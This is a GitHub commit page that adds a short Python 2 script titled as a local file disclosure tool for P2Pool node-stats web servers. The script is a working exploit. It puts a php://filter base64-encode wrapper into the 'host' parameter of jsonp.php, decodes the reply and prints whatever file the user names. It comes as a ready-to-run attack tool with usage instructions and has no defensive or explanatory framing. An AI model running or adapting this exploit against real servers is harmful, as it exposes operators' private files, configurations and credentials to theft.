Skip to content

Commit 1506ea1

Browse files
author
David Davidson
authored
Create p2pool-nodestats-lfd.py
1 parent 0e506cb commit 1506ea1

File tree

1 file changed

+36
-0
lines changed

1 file changed

+36
-0
lines changed

pisspoorpool/p2pool-nodestats-lfd.py

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
#!/usr/bin/python2
2+
# coding: utf-8
3+
import requests
4+
import sys
5+
import os
6+
7+
def get_file(base_url, target_file):
8+
print "[+] Getting %s from %s" %(target_file, base_url)
9+
path, file = os.path.split(target_file)
10+
query = "host=php://filter/convert.base64-encode/resource=%s/&report=%s&callback=s" %(path, file)
11+
url = "%s/jsonp.php?%s" %(base_url, query)
12+
# print url # debugging
13+
try:
14+
r = requests.get(url)
15+
#print r.text # debuggering
16+
except:
17+
sys.exit("request failed. is the target up?")
18+
response = r.text
19+
try:
20+
response = response.replace("s(", "")
21+
response = response.replace(");", "")
22+
response = response.strip()
23+
output = response.decode("base64")
24+
except:
25+
print r.text
26+
sys.exit("output parsing failed")
27+
print "[+] Got file, printing...\n\n"
28+
print output
29+
30+
def main(args):
31+
if len(args) != 3:
32+
sys.exit("use: %s http://p2pool/p2p-stats/ /path/to/file" %(args[0]))
33+
get_file(base_url=args[1], target_file=args[2])
34+
35+
if __name__ == "__main__":
36+
main(args=sys.argv)

0 commit comments

Comments
 (0)